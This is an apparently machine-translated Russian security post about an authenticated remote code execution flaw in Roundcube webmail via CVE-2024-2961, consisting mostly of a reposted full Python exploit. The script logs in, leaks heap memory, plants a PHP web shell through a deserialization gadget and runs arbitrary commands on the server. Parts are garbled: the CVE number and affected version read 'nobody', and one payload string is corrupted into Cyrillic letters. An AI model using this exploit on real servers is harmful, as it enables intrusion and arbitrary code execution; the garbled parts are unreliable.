0x00 Предисловие
Roundcube — это широко используемая программа электронной почты с открытым исходным кодом, используемая многими организациями и компаниями по всему миру.
За последние несколько лет файлы изображений только на SourceForge были загружены более 260 000 раз, что составляет лишь небольшую часть фактической группы пользователей.
После успешной установки Roundcube на сервере он предоставит пользователям веб-интерфейс, а прошедшие проверку подлинности пользователи смогут отправлять и получать электронную почту через веб-браузер.
0x01 Описание уязвимости
Под воздействием CVE-2024-2961 злоумышленники могут изменять распределение памяти ядра Roundcube с помощью фильтров PHP в сочетании с функцией iconv(), в конечном итоге добиваясь удаленного выполнения произвольного кода.
PS: Для входа вам понадобится ваша учетная запись Roundcube Webmail и пароль.
0x02 номер CVE
никто
0x03 затронутая версия
никто
0x04 Подробности об уязвимости
POC:
https://github.com/ambionics/cnext-exploits/blob/main/roundcube-exploit.py
#!/usr/bin/env python3
#
# CNEXT: Roundcube authenticated RCE (CVE-2024-2961)
# Date: 2024-06-17
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# INFORMATIONS
#
# Tested on Roundcube 1.6.6, PHP 8.3. This is merely a POC. If it fails, you'll have to
# debug it yourself. Maybe the target is patched, or my leak technique does not work
# for the Roundcube/PHP version of your target.
#
# REQUIREMENTS
#
# Requires ten: https://github.com/cfreal/ten
#
from dataclasses import dataclass, field
from ten import *
from pwn import p64, p32, u64
HEAP_SIZE = 2 * 1024**2
class Buffer:
def __init__(self, size: int, byte: bytes = b"\x00") -> None:
self.array = bytearray(byte * size)
def __setitem__(self, position: int, value: bytes) -> None:
end = position + len(value)
if end > len(self.array):
raise ValueError(
f"Cannot write value of size {len(value)} at position {position} in buffer of size {len(self.array)}"
)
self.array[position : position + len(value)] = value
def __bytes__(self) -> bytes:
return bytes(self.array)
class Data:
data: list[tuple[str, bytes]]
def __init__(self, form: Form, **kwargs) -> None:
self.data = [
(key, to_bytes(value)) for key, value in (form.data | kwargs).items()
]
def add(self, key: str, value: bytes) -> None:
self.data.append((key, to_bytes(value)))
def marker(self, key: str, size: int, c: bytes = b"M") -> None:
marker = f"M{key}".encode()
marker = marker + string(size - len(marker), c=c)
self.add(key, marker)
def delete(self, key: str) -> None:
self.add(key, b"")
def encode(self, value) -> bytes:
return tf.qs.encode_all(value).encode()
def min_encode(self, value: bytes) -> bytes:
"""Perform the minimum URL-encoding for value."""
value = value.replace(b"+", b"%2B")
value = value.replace(b"&", b"%26")
return value
def __bytes__(self) -> bytes:
data = b"&".join(
key.encode() + b"=" + self.min_encode(value) for key, value in self.data
)
# data = data + b"&"
# data = data.ljust(1024*1024, b"x")
return data
@entry
@arg("url", "URL of target")
@arg("username", "Username")
@arg("password", "Password")
@arg("command", "Command to run")
@dataclass
class Exploit:
"""Roundcube authenticated RCE exploit using CVE-2024-2961 (CNEXT)."""
url: str
"""URL of the target."""
username: str
"""Username to authenticate with."""
password: str
"""Password to authenticate with."""
command: str
"""Command to run on the target."""
session: ScopedSession = field(init=False)
form: Form = field(init=False)
@inform("Authenticating", "Login OK", "Failed to authenticate", ko_exit=True)
def login(self) -> bool:
response = self.session.get("/")
form = response.form(id="login-form")
response = form.update(_user=self.username, _pass=self.password).submit()
response.expect(302, 401)
return response.code(302)
@inform("Getting compose form...")
def get_form(self) -> Form:
response = self.session.get("/?_task=mail&_mbox=INBOX&_action=compose")
response.expect(302)
response = response.follow_redirect()
self.form = response.form(action="/?_task=mail")
def submit(self, data: bytes) -> Response:
return self.session.post(
"/?_task=mail&_framed=1",
data=bytes(data),
headers={"Content-Type": "application/x-www-form-urlencoded"},
)
@inform("Leaking heap...")
def get_leak(self) -> None:
"""We use chunks of size 0x800 to perform the exploit.
The size is not trivial: sprintf() returns chunks multiple of 0x400, and we'll
see why it is useful later on.
The idea is to trigger the bug, and use it to make a chunk A of size 0x800 get
allocated a little bit lower than expected, and overflow into the chunk B right
under itself. We want to use A to overwrite B's zend_string header before it is
displayed on the page to increase its size.
The difficulty here is that we need B to be displayed RAW in the page - for
instance, if json_encode() is called on B before it is displayed, it will
discard some of the bytes of the leak, and make it less useful.
To do so, I chose to play with the rcmail_output_html::get_js_commands() method,
which allocates and concatenates a few strings (some that we control) before
they get displayed. After the exploitation of the bug, we have FL[0x800]:
D -> B -> C -> A', with A' sitting 0x4a bytes after A in memory
To perform this magic trick we will make use of every input value and every
string manipulation calls such as json_encode(), sprintf(), and the
concatenations that happen in the function.
Despite being ~80 lines long, this part was absolute hell.
The leak is around 0x3000 bytes, so we can allocate something on the page right
under to leak addresses.
By creating and clearing a few 0x800 pointers using POST data, we make sure that
the leak points very close to us. It actually points to the first L[1], so by
substracting 0x800*2 we get to L[0], and at -0x800*6 we have V[0].
"""
what = "heap"
assert what in ("heap", "main")
# _(27, 2048, 8, 4, x, y) \
NB_VICTIMS_PER_ALLOC = 4
NB_POSTS_PER_ALLOC = NB_VICTIMS_PER_ALLOC // 2
VICTIM_SIZE = 0x800 # 3072 # 29
VICTIM_SIZE_MIN = 0x700 + 1 # 2560 # 28
data = Data(self.form)
data.add("_charset", b"ISO-2022-CN-EXT")
# Overflow!
data.add("_to", overflow_string(VICTIM_SIZE))
# unlock is too small for chunks of 0x800, but if you add one byte, it is not
# anymore
data.add("_unlock", unlock(VICTIM_SIZE_MIN - 1))
# Small pad
for i in range(NB_POSTS_PER_ALLOC + 2):
data.marker(f"PV[{i}]", VICTIM_SIZE_MIN, b"V")
# Victims
for i in range(NB_POSTS_PER_ALLOC):
data.marker(f"V[{i}]", VICTIM_SIZE_MIN, b"\x00")
match what:
# We want to leak pointers to our chunks of the same size as the one used to
# exploit, so we allocate 0x800 chunks and free them
case "heap":
# Leak pointers
for i in range(NB_POSTS_PER_ALLOC):
data.marker(f"L[{i}]", VICTIM_SIZE_MIN, b"\x00")
# Create these so that the memory leak leaks their precise address
data.delete(f"L")
# This is legacy code: what is always `heap` now, but I keep it in case you
# want to see the difference: here, we allocate arrays to be able to see
# them in the heap
case "main":
for i in range(100):
data.marker(f"A[{i}]", 0x38)
data.delete("A")
# Make the free list become: D B C A
data.delete(f"V")
# _cc and _bcc will get exploded by ",", and each email will be parsed one by
# one. If one produces an error, it is stored and an error message is displayed
# Otherwise, the list of every email separated by ", " is stored.
# _cc: this value is the first invalid email, and it'll get stored in order to
# be displayed in a json_encoded error message:
# "Adresse courriel invalide : <MAIL>"
# We use a value that makes the json_encode() to fit in a 0x800 chunk, as well
# as the sprintf() that comes later on.
error_email = string(0x650, b"o") + b"\x00" * 55 + b"abcdef"
data.add("_cc", error_email)
# _bcc: contains multiple emails
#
# Create a list of emails which, after being concatenated and stored by
# email_input_format(), fit in a 0x800 chunk, thus padding the FL
mail_list = "a@t.net, "
mail_list = (mail_list + " " * 20) * (VICTIM_SIZE_MIN // len(mail_list))
mail_list = mail_list.encode()
data.add("_bcc", mail_list)
# Get our leak!
response = self.submit(data)
match = response.re.search(
rb'parent.rcmail.iframe_loaded\((".*)abcdef","error",0\);\n}\n</script>\n\n\n</head>\n<body>\n\n</body>\n</html>$',
flags=re.S,
)
assume(match, "Could not get leak")
match = match.group(1)
assume(len(match) > 0x00000E64, "Could not trigger leak")
match what:
case "heap":
leak = u64(match[0x00001FA8:0x00001FB0])
msg_info(f"Leaked heap address: [b]{hex(leak)}")
# Same: this is legacy code, but I keep it in case you want to see the idea
case "main":
leak = u64(match[0x000027D8:0x000027E0])
msg_success(f"Leaked [i]_zval_ptr_dtor[/] address: [b]{hex(leak)}")
return leak
@inform("Executing code...")
def overwrite_session_preferences(self, heap: int) -> None:
"""Overwrite the session hashmap+bucket to point to create a fake `preferences`
key-value that will be deserialized afterwards.
"""
VICTIM_SIZE = 0x400
VICTIM_SIZE_MIN = 0x380 + 1
data = Data(self.form)
data.add("_charset", b"ISO-2022-CN-EXT")
trigger = (
"A" * (VICTIM_SIZE - 0x100)
+ «ААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААА аааааааааааааааааааааааааааааа
)
data.add("_to", trigger)
# data.add("_unlock", unlock(0x700))
HEAP_BASE_ADDR = heap & ~(HEAP_SIZE - 1)
SESSION_BUCKETS_ADDR = HEAP_BASE_ADDR + 0xA2000 - 0x100
# Offset from our overwrite to the Bucket allocation
OFF_WRITE = 0x280
# Number of entries in the array
entries = 0x20
# Create a few chunks of size 0x400 which contain, at offset 0x48, an arbitrary
# address, and free them. After we overwrite the LSB of the FL[0x400] pointer,
# it'll point to said arbitrary address.
for i in range(10):
payload = bytearray(string(VICTIM_SIZE_MIN, b"\x00"))
offset = 0x48 - 0x18
payload[offset : offset + 8] = p64(SESSION_BUCKETS_ADDR - OFF_WRITE - 0x18)
data.add(f"A[{i}]", payload)
data.delete("A")
# We modify arData[0] and set its key to preferences. When the session gets
# saved, PHP will extract the keys one by one from the session array, and then
# use zend_hash_find() to find the corresponding value. We update the hashmap
# so that when looking for the index in arData of preferences, 0x21 is returned.
# 0x21 is the index of the fake bucket we created, which points to the fake
# value (a serialized string)
# The key/value pair therefore gets stored in the array. When we go on the index
# afterwards, preferences gets deserialized (rcube_user.php:147)
# Key of the session bucket that we want to change
KEY = b"preferences"
VALUE = qs.decode_bytes(
"""a:2:{i:7%3BO:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"%00GuzzleHttp\Cookie\CookieJar%00cookies"%3Ba:1:{i:0%3BO:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"%00GuzzleHttp\Cookie\SetCookie%00data"%3Ba:3:{s:7:"Expires"%3Bi:1%3Bs:7:"Discard"%3Bb:0%3Bs:5:"Value"%3Bs:30:"<?php%20eval($_REQUEST['x'])%3B%20?>"%3B}}}s:39:"%00GuzzleHttp\Cookie\CookieJar%00strictMode"%3BN%3Bs:41:"%00GuzzleHttp\Cookie\FileCookieJar%00filename"%3Bs:23:"./public_html/shell.php"%3Bs:52:"%00GuzzleHttp\Cookie\FileCookieJar%00storeSessionCookies"%3Bb:1%3B}i:7%3Bi:7%3B}"""
)
# Its hash
KEY_HASH = 0xC0C1E3149808DB17
# And its offset in the hashmap
HASH_OFFSET = 0xFFFFFFFF & (KEY_HASH | 0xFFFFFFC0)
HASH_OFFSET = 0xFFFFFFFF - HASH_OFFSET + 1
HASH_OFFSET = 0x40 - HASH_OFFSET
BASE_ADDR = SESSION_BUCKETS_ADDR + 0x500
KEY_ADDR = BASE_ADDR + 0x40
VALUE_ADDR = BASE_ADDR + 0x270
# A fake index that actually points AFTER the Buckets[] in memory, right onto
# our modified bucket
in_string = 0
# The original (unmodified) hashmap
hashmap = bytearray(
bytes.fromhex(
f"""
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff 05 00 00 00 ff ff ff ff ff ff ff ff
ff ff ff ff 15 00 00 00 11 00 00 00 ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff 0e 00 00 00
04 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff 07 00 00 00 ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff 13 00 00 00 ff ff ff ff ff ff ff ff
12 00 00 00 0f 00 00 00 02 00 00 00 08 00 00 00
0a 00 00 00 ff ff ff ff 0d 00 00 00 ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff 14 00 00 00
0b 00 00 00 ff ff ff ff ff ff ff ff 06 00 00 00
09 00 00 00 ff ff ff ff ff ff ff ff 10 00 00 00
0c 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff
"""
)
)
# Change hash to make it point to the first bucket, that we have modified
hashmap[HASH_OFFSET * 4 : HASH_OFFSET * 4 + 4] = p32(in_string)
victim = Buffer(OFF_WRITE + 0x100 + 0x20, b"A")
victim[OFF_WRITE] = hashmap
# Fake bucket
victim[OFF_WRITE + 0x100] = (
p64(VALUE_ADDR) # ZVAL ZVALUE
+ p32(6)
+ p32(0xFFFFFFFF) # ZVAL TYPE and NEXT
+ p64(KEY_HASH) # HASH
+ p64(KEY_ADDR) # KEY
)
victim = bytes(victim)
assert (
VICTIM_SIZE >= len(victim) + 0x18 + 1 >= VICTIM_SIZE_MIN
), f"{hex(len(victim) + 0x18 + 1)}"
# _from addresses, separated by `;`, get through a list of modifications. The
# two we use are the mime decoding (=?UTF-8?B?<base64>?=) and then a trim()
# base64-decode is nice because it allows us to have raw bytes in our payload
# (bypass the charset conversion that happens first), but it will decode in a
# buffer that has the same size as the base64 (for instance if b64 has size
# 0xc00, the decoded string is allocated in a 0xc00 chunk as well). A few calls
# deeper, our values are trim()ed however, which will cause a reallocation.
# The trim() operations will therefore allocate the chunks
def build_equal_payload(data: bytes) -> str:
data = b" " * 1000 + data
data = base64.encode(data)
data = f"=?UTF-8?B?{data}?="
return data
victim = build_equal_payload(victim)
# our fake pointer points to a 0x500 chunk; when it gets freed, it'll be put in
# the FL (and be ready to be allocated). We create other 0x500 allocs to protect
# it
protector = bytearray(string(0x500, b"P"))
protector = build_equal_payload(protector)
data.add("_from", ";".join([victim] * 30 + [protector] * 10))
# Create an array of 0x500 chunks separated by a hole
# like A-<hole>-B-<hole>-C-<hole>-D...
# The buckets of $_SESSION will get allocated in one of the holes
# TODO Reduce N probably
n = 10
for i in range(n * 2):
data.marker(f"B[{i}]", 0x500, b"X")
data.delete("B")
# We create chunks filled with 0x00, so that when we alter the FL to point
# there, it does not break with successive allocations.
# In addition, we include a fake key and value in there, that we can reference
# in our modified bucket
for i in range(n):
padder = Buffer(string_size(0x500))
fake_key = Buffer(0x30)
fake_key[0x00] = p32(100) + p32(6) # gc
fake_key[0x08] = p64(KEY_HASH) # HASH
fake_key[0x10] = p64(len(KEY)) # LEN
fake_key[0x18] = KEY + b"\x00"
fake_key = bytes(fake_key)
fake_value = Buffer(0x280)
fake_value[0x00] = p32(100) + p32(6) # gc
fake_value[0x08] = p64(0) # HASH
fake_value[0x10] = p64(len(VALUE)) # LEN
fake_value[0x18] = VALUE + b"\x00"
fake_value = bytes(fake_value)
padder[0x028] = fake_key
padder[0x258] = fake_value
padder = bytes(padder)
data.add(f"Z[{i}]", padder)
data.add("_draft", "1")
try:
r = self.submit(data)
except Exception:
failure("Crash while dumping binary")
if not r.code(500):
msg_warning("No error, strangely")
msg_success("Set session preferences, triggering!")
response = self.session.get("/")
command = "rm -rf shell.php; " + self.command
command = base64.encode(command)
command = f"""system(base64_decode('{command}'));"""
response = self.session.post("/public_html/shell.php", {"x": command})
if response.code(200):
msg_success("Command executed")
elif response.code(404):
failure("Payload was not deserialized")
else:
failure(f"Unexpected error: {response.status_code}")
def run(self) -> None:
self.session = ScopedSession(self.url)
# Initial request to setup heap IDK
self.session.get("/")
# self.session.burp()
self.login()
self.get_form()
heap = self.get_leak()
self.overwrite_session_preferences(heap)
self.session.close()
def string_size(n: int) -> int:
return n - 24 - 1
def string(n: int, c: bytes = b"A") -> bytes:
return c * string_size(n)
def overflow_string(n: int) -> bytes:
prefix = b"\xe2\x84\x96\xe2\x84\x96\xe2\x84\x96\n" * 11
suffix = b"\xe3\xb4\xbd"
fake_mail = b"F" * 0x600 + b","
added_size = n - 32 - len(prefix + suffix + fake_mail)
value = fake_mail + string(added_size, b"O") + prefix + suffix
return value
def unlock(size: int) -> bytes:
"""
pwndbg> hex args[0]->value.str
+0000 0x7f3e803d6400 02 00 00 00 16 00 00 00 00 00 00 00 00 00 00 00 │........│........│
+0010 0x7f3e803d6410 58 03 00 00 00 00 00 00 69 66 20 28 77 69 6e 64 │X.......│if.(wind│
+0020 0x7f3e803d6420 6f 77 2e 70 61 72 65 6e 74 20 26 26 20 70 61 72 │ow.paren│t.&&.par│
+0030 0x7f3e803d6430 65 6e 74 2e 72 63 6d 61 69 6c 29 20 70 61 72 65 │ent.rcma│il).pare│
+0040 0x7f3e803d6440 6e 74 2e 72 63 6d 61 69 6c 2e 69 66 72 61 6d 65 │nt.rcmai│l.iframe│
+0050 0x7f3e803d6450 5f 6c 6f 61 64 65 64 28 22 55 55 55 55 55 55 55 │_loaded(│"UUUUUUU│
...
+0050 0x7f3e803d6760 55 55 55 55 55 55 55 55 55 55 55 55 22 29 3b 0a │UUUUUUUU│UUUU");.│
+0060 0x7f3e803d6770 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │........│........│
"""
return string(size - 70, b"U")
Exploit()
ссылка на ссылку 0x05
https://roundcube.net/
https://github.com/ambionics/cnext-exploits/blob/main/roundcube-exploit.py
https://www.ambionics.io/blog/iconv-cve-2024-2961-p2
Статьи и инструменты в этом официальном аккаунте предназначены только для ознакомления. Любые прямые или косвенные последствия и ущерб, вызванные распространением и использованием информации, представленной в этом документе, несут ответственность самого пользователя этого официального аккаунта и автора. статья не несут за это никакой ответственности.